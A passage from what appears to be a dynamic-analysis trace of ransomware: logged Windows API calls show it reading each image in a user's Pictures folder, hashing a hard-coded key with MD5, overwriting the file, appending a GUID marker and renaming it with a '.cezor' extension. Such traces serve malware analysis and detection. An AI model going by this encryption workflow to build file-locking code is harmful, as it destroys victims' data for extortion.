lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.187] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.187] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xde2a, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xde2a, lpOverlapped=0x0) returned 1 [0061.187] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0061.187] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xde2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.187] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.187] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.187] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0061.187] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.187] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.187] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.188] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.188] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.188] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.188] CloseHandle (hObject=0x5c4) returned 1 [0061.189] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ebc8 [0061.189] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0061.189] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ebc8 | out: hHeap=0x670000) returned 1 [0061.189] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\3mlI5OW4Ceei.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\3mli5ow4ceei.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\3mlI5OW4Ceei.png.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\3mli5ow4ceei.png.cezor")) returned 1 [0061.189] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.189] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.190] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.190] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x657fe00, ftCreationTime.dwHighDateTime=0x1d4d363, ftLastAccessTime.dwLowDateTime=0x3803e480, ftLastAccessTime.dwHighDateTime=0x1d4c68b, ftLastWriteTime.dwLowDateTime=0x3803e480, ftLastWriteTime.dwHighDateTime=0x1d4c68b, nFileSizeHigh=0x0, nFileSizeLow=0xfc4e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4iAitK.png", cAlternateFileName="")) returned 1 [0061.190] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.190] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e) returned 0x301db48 [0061.190] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.190] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\4iAitK.png") returned=".png" [0061.190] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\4iAitK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\4iaitk.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.190] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=64590) returned 1 [0061.190] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.193] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xfc28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.193] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.194] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.194] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xfc4e, lpOverlapped=0x0) returned 1 [0061.194] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.194] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.194] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.194] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.195] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.195] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.195] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.195] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.195] GetLastError () returned 0x0 [0061.195] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.195] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfc50) returned 0x3132418 [0061.196] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.196] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xfc49, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xfc49, lpOverlapped=0x0) returned 1 [0061.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0061.196] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xfc4e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.196] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.196] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.196] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.196] CloseHandle (hObject=0x5c4) returned 1 [0061.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0061.198] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0061.198] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0061.198] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\4iAitK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\4iaitk.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\4iAitK.png.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\4iaitk.png.cezor")) returned 1 [0061.198] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.198] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.199] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.199] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a881d50, ftCreationTime.dwHighDateTime=0x1d4d0d0, ftLastAccessTime.dwLowDateTime=0x5c0e3f30, ftLastAccessTime.dwHighDateTime=0x1d4cc29, ftLastWriteTime.dwLowDateTime=0x5c0e3f30, ftLastWriteTime.dwHighDateTime=0x1d4cc29, nFileSizeHigh=0x0, nFileSizeLow=0xb28f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4X0WuHIKFlmcsmSj8wH.jpg", cAlternateFileName="4X0WUH~1.JPG")) returned 1 [0061.199] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.199] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0061.199] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.199] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\4X0WuHIKFlmcsmSj8wH.jpg") returned=".jpg" [0061.199] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\4X0WuHIKFlmcsmSj8wH.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\4x0wuhikflmcsmsj8wh.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.199] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=45711) returned 1 [0061.199] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.202] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb269, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.202] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.202] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.203] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.203] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xb28f, lpOverlapped=0x0) returned 1 [0061.203] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.203] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.203] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.203] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.204] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.204] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.204] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.204] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.204] GetLastError () returned 0x0 [0061.204] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.204] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb290) returned 0x3132418 [0061.204] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.204] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xb28a, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xb28a, lpOverlapped=0x0) returned 1 [0061.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0061.205] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb28f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.205] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.205] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.205] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0061.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.205] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.205] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.205] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.205] CloseHandle (hObject=0x5c4) returned 1 [0061.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301d980 [0061.206] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0061.206] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301d980 | out: hHeap=0x670000) returned 1 [0061.206] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\4X0WuHIKFlmcsmSj8wH.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\4x0wuhikflmcsmsj8wh.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\4X0WuHIKFlmcsmSj8wH.jpg.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\4x0wuhikflmcsmsj8wh.jpg.cezor")) returned 1 [0061.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.207] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.208] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c90a9b0, ftCreationTime.dwHighDateTime=0x1d4cef6, ftLastAccessTime.dwLowDateTime=0x1953a8f0, ftLastAccessTime.dwHighDateTime=0x1d4cb12, ftLastWriteTime.dwLowDateTime=0x1953a8f0, ftLastWriteTime.dwHighDateTime=0x1d4cb12, nFileSizeHigh=0x0, nFileSizeLow=0x4ac4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="60jL.jpg", cAlternateFileName="")) returned 1 [0061.208] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.208] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e) returned 0x301db48 [0061.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.208] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\60jL.jpg") returned=".jpg" [0061.208] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\60jL.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\60jl.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.208] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=19140) returned 1 [0061.208] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.210] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4a9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.210] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.211] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.211] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.211] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x4ac4, lpOverlapped=0x0) returned 1 [0061.211] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.211] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.211] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.212] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.212] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.212] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.212] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.212] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.212] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.212] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.212] GetLastError () returned 0x0 [0061.212] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.212] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.213] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4ac0) returned 0x31218d0 [0061.213] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.213] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x4abf, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x4abf, lpOverlapped=0x0) returned 1 [0061.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0061.213] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.213] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.213] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.213] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.213] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.213] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.213] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.213] CloseHandle 